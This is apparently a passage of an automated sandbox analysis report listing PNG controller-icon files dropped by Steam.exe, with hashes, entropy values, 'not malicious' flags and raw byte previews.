Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0422.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17169
Entropy (8bit):	7.865550351957195
Encrypted:	false
SSDEEP:
MD5:	52D4C36262B2199DD752C06CCD724EAF
SHA1:	4CE0A8E122678696D664672A6B5A4398F3FCC454
SHA-256:	6471887AA24641E33DB59AB45B69D7FAEAAA1F93D22B4B5F97F75049EAE01E24
SHA-512:	B8D346DA27FD7AE9444C0BDB943998E792340F95E40ED5839382D2F760E50BF11A94B32999CC7827EF191F5B657E2255E289BE04A21B14714D6BFB16D71344C8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0423.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14447
Entropy (8bit):	7.826830824396871
Encrypted:	false
SSDEEP:
MD5:	1BF1512C88CD79C3E04E8752A2B266C0
SHA1:	567CB0A4F4CB6C4042021CEC0A176A840838B15B
SHA-256:	83042F4FC7213051C05A6FE233588AB1F0F0A864D1C9589C2F560995071406A5
SHA-512:	E5CA25D5FF45A1BDFA3D1CC20EC297E9D59D134C368DBBB40441665EDB09A3781CE7F7665F5CDE0AB34289CB3160D97074EF0E88D0C3E03FE84376C1BC7FEDEA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0424.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17728
Entropy (8bit):	7.82863637841553
Encrypted:	false
SSDEEP:
MD5:	81C96F6D5C5B1297E19954E9347DF0A1
SHA1:	CE893ECD48BF46EFAC4E705D610A97F755C42B21
SHA-256:	47251B6CEB7087C2C00F1965FDDB9B21351F5E4CDA7C5FBE79BBA10462071C82
SHA-512:	63B448358E6829253BA04A311BB55A3C6507ADC52B4902750CCBE87206F977907D4A00428C03C9FD046700C72D4FCB26AFC536861A71FC4CB7626C37BA583908
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0425.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13275
Entropy (8bit):	7.8440572422925054
Encrypted:	false
SSDEEP:
MD5:	E9E03E09502D336779A6CAF19443C986
SHA1:	1E7A0E2D798DABDC772D17B6F7BB0610B0AB0906
SHA-256:	7625113AE62D6D0B7ADEFA4E76554C4EC98B79FFF873DD6D75BFA8D5B0D1E6E8
SHA-512:	39796ED2844BE8015D326B5CDEDD538EED15C8915F70AE2F09A3D9700E201E984A19004248855404A72A175A4675703F1FE41C6C09C76D7BFFDD35BF47BB3466
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0426.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19391
Entropy (8bit):	7.850842687466796
Encrypted:	false
SSDEEP:
MD5:	AC2780F41F51ED5C7FFB2D76C4AA3F41
SHA1:	F9BF0834A0BF8BEF989A5F9AC82EEDC9B8B406FA
SHA-256:	051D0178D37F74F3A421C0E3EDF3134750DD03045E2C60C9A6957D4500940A10
SHA-512:	E99D235D93D6ADE26ACC45C17791D0B2A176289679CC95E73B90A7C8E4F12F46AB69BA175F85C73F573F5D976ED1A19242ADA126C21B1ABAD248EA33F2C4F648
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0427.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18655
Entropy (8bit):	7.889767806367971
Encrypted:	false
SSDEEP:
MD5:	C454D63355EDB0A236A9EE8F110D658B
SHA1:	3C22C472E7A77E9B1386EA8AA857EA0CD318540D
SHA-256:	A157D73B7BBEBF710B5FE8013509131364108ADF7AC4E952283609545BB5EC0E
SHA-512:	3FCE5115C16566B7378CB9DBEBFA5943768F23F5C8ED5A4D7150C0D685DDD908782527D3B5F1B20A3CC44C9E87961C85A7CE4E550E6D6A782673E81E707CCBEF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0450.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13820
Entropy (8bit):	7.8082004221545365
Encrypted:	false
SSDEEP:
MD5:	E4339673E8F86E3A0E6720F34292C65D
SHA1:	0203A7F55960F41009E1753F8457F0207C17B4A6
SHA-256:	9315D4698D78AA962817C590CC6DB129BE471633D23E22C4187A08AE24FD58D1
SHA-512:	21B88CA8F757B75E3885EEE6BD6A36179564EA053F9553550B534EB89A40F0554B25B7902DBF99700A2D131B5088542E82DD765F6E07AB7EE59C24CB1950E76E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0451.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15965
Entropy (8bit):	7.858305009582248
Encrypted:	false
SSDEEP:
MD5:	2C65F125F00046EEC68D2C7A1B51FB4D
SHA1:	EA6444EDC8EE15CDE50058DBF64DD1C453458B96
SHA-256:	760D52420B773D8AB7179AEAD9D1F9E673F9D0D141D5D75789A2C28656231B8A
SHA-512:	75736A1A23880F0CB1F46BC61F16FD6E630C9805B6B75B52A16177312083DA0E3607592529D3008D13EEFBA8D984B6A2EAD46693A5500BD0E5D8C597966BF063
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0452.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8822
Entropy (8bit):	7.528832593409536
Encrypted:	false
SSDEEP:
MD5:	E1CFCFAE754897CC0236403A2CEDA423
SHA1:	4B1398D8D0D364DE156C16D302CB0B75333D2F50
SHA-256:	6AEB0237F322C5FE4F7705DED4C7D7C7240381FA96F5DF1E1545E7F437163B78
SHA-512:	84B0CD6C6694FFED9C5502FC4AE68CD6AA77068346B7093344778DF4B021B2DD0503E0EB2D64D573AFA02D382329AF4845FD30D7AA5A691E2BD9240FF0A40289
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0460.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15076
Entropy (8bit):	7.812134685775119
Encrypted:	false
SSDEEP:
MD5:	C29E428D4201A16B687FDC5B9E44406B
SHA1:	5D4DB570D79204DEBB2F720F75BADDC72FE252D1
SHA-256:	065BF822130D31D3D09FE84B517F73340B2294667E6B64884B833202EBF74E5B
SHA-512:	0AF520FEF700AA05D627A97F6DA72EA1716DE58A76F95DF41B4809A107120FFD298B5ED05C7AE5EC527B784E222DB4C02AA6B29C994F840F1122447754427F9D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0503.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14591
Entropy (8bit):	7.816924752637822
Encrypted:	false
SSDEEP:
MD5:	D0B56550947E0AD5BECB301F2ECD5F2C
SHA1:	533EE2A7234DBE0AC6DD22E9C8FAD30BEEF2F8E0
SHA-256:	90C72212610588A429F9298A261ADA9A34E92FC2B95D9E2158517ECE5E7A4780
SHA-512:	5972ED77A95EB5EC4326A2DFD8789D57B5F70883BEF1EBDB654183B599849042E03FF1F1F30E532B122C31DB7F5D8196A98B1901E3DDD71A1021F5DC2EB4CD5F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0504.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14634
Entropy (8bit):	7.843544830534185
Encrypted:	false
SSDEEP:
MD5:	9F790FE9D19B6E00282C642C63671D24
SHA1:	98099E864AFAB36CF87D0346244106CFD0EC03A9
SHA-256:	B7706520BBDDE7A4365DA5C0BB3EE0DF699BD2C0EDDC2E00B7EBF4064E0EC29D
SHA-512:	6CA8609BDB54B11F33F2E1AFAE3B0A119D51AD6C729AC818050BCF1DE3A2B112B5BB004367D30CEDA767C681A293468EEB62751D6E594F215199649F78E3C2F5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0505.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16080
Entropy (8bit):	7.853399085524513
Encrypted:	false
SSDEEP:
MD5:	FD5DE3E8CA65F3461E30B79501B130B6
SHA1:	E2A8F7D1269B7F2102EC04C61102944E5C0A56F9
SHA-256:	952B023B157A09DCE1A6C4A32CC5FD64688087A98DD15E504F3A8C365D9DD60A
SHA-512:	9F254B96BE928E1DC991C96F80B4EA5C0E8164B6DB7DACEBF6AEF7DD9060D13DF9743043C8FCE3F076D518E850A6F7B8FD0153D48E6299962954B83796716F70
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0506.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14652
Entropy (8bit):	7.825802923636148
Encrypted:	false
SSDEEP:
MD5:	67CBF3AA1452266AF194DD33CFF7EAA5
SHA1:	00BA92FFC7E477680FAC1F8C3A8B4C788A81183B
SHA-256:	2690438A153D35FC80F392DBA648ECFCE5E755AA57CDC9FB389939C0926A285B
SHA-512:	14FC971658A724F1D11ACFFFE60AA10C401F79447C27AEC4364B0FCD4880EA83AC12F4F8C8B974D498D0B3989B5F700D85071340554EBD05E5306D0AF5365A7E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T 